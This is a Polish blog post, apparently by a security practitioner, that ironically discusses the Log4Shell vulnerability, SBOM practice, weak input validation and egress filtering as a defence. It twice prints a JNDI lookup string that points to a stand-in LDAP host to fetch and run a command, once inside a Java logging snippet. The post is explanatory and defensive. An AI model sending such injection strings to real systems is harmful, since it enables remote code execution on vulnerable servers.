Log4Shell, aż chce się żyć! Serio, poczułem się tak 10 lat młodszy i zachciało mi się chcieć.
Log4Shell - jaka piękna katastrofa!
Teraz będzie walił się świat, ale ja nie o tym. Ja chcę przedstawić alternatywną rzeczywistość.
Po pierwsze przecież to jest takie proste - przecież w trywialny sposób jesteśmy w stanie ustalić, które z aplikacji tworzonych przez nas wykorzystują podatną wersję log4j. Również bez problemu jesteśmy w stanie uzyskać taką informację odnośnie aplikacji dostarczanych przez naszych venodorów, wszak dostarczanie kompletnego bill of materials jest powszechną praktyką. Patrz też OWASP Software Component Verification Standard, w szczególności V2: Software Bill of Materials (SBOM) Requirements.
Po drugie, wszyscy doskonale wiemy czym jest trust boundary i na pewno nie używamy niezaufanych danych bez odpowiedniej walidacji i oczyszczania. Oczywiście w ramach walidacji wejścia stosujemy alow list a nie block list, więc nie ma mowy by kwiatki typu:
${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}się prześlizgnęły, prawda?
Absolutnie nie jest możliwe, by nasze serwery miały niekontrolowane wyjście "na zewnątrz", więc nie ma szans, by malicious payload mógł zostać pobrany.
Dobrze, teraz wracamy do normalności. Ten powrót może być równie bolesny jak "syndrom dnia następnego".
Tak, to "po pierwsze" to jest ciężka ironia, która po raz kolejny niespodziewanie zachodzi nas od tyłu i kopie z całej siły w d..ę. Nie, nie jest to wcale takie trywialne ani dla naszych własnych aplikacji, ani tym bardziej dla aplikacji (comercial) of the shelf. Koniec tematu, bo jego kontynuacja to nic innego niż przypalanie żywym ogniem lub rozdrapywanie ran i posypywanie solą.
To "po drugie" ma warstwy, jak cebula. Bo walidacja danych wejściowych leży. Bo wcale nie jest tak łatwo stworzyć listę dozwolonych danych wejściowych. Bo magia. Tak, bo magia. 11 lat temu napisałem o zbyt dużej ilości magii, co prawda w kontekście CMS, ale zawsze. Innym przykładem magii było "mass assigment" w Ruby on Rails (tak, wiem, nie tylko tam, ale na początku tam było to najbardziej "dewastujące"). I tutaj znów jest magia. Bo patrzcie, z perspektywy (nie)programisty:
String foobar = "${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}"; System.out.println(foobar); logger.info(foobar);
Dlaczego ten sam foobar w pierwszym przypadku jest kompletnie nieszkodliwy, a w drugim urywa nogę jak mina przeciwpiechotna? Przecież POLA się tutaj kłania, podskakuje i macha rękoma!
Natomiast, dla odmiany, to "po trzecie" jest ironią, ale taką z gatunku "no przecież mówiłem". Z całej listy punktów ten jeden jest najbardziej realny do implementacji. Twoja aplikacja ma przyjmować ruch od klientów, nie musi generować ruchu wychodzącego. A jeśli musi, to prawdopodobnie można:
- zdefiniować co jest potrzebne i otworzyć tylko to;
- pozwolić na ruch tylko z części komponentów (serwerów), a nie wszystkich jak leci.
I tym optymistycznym akcentem kończę...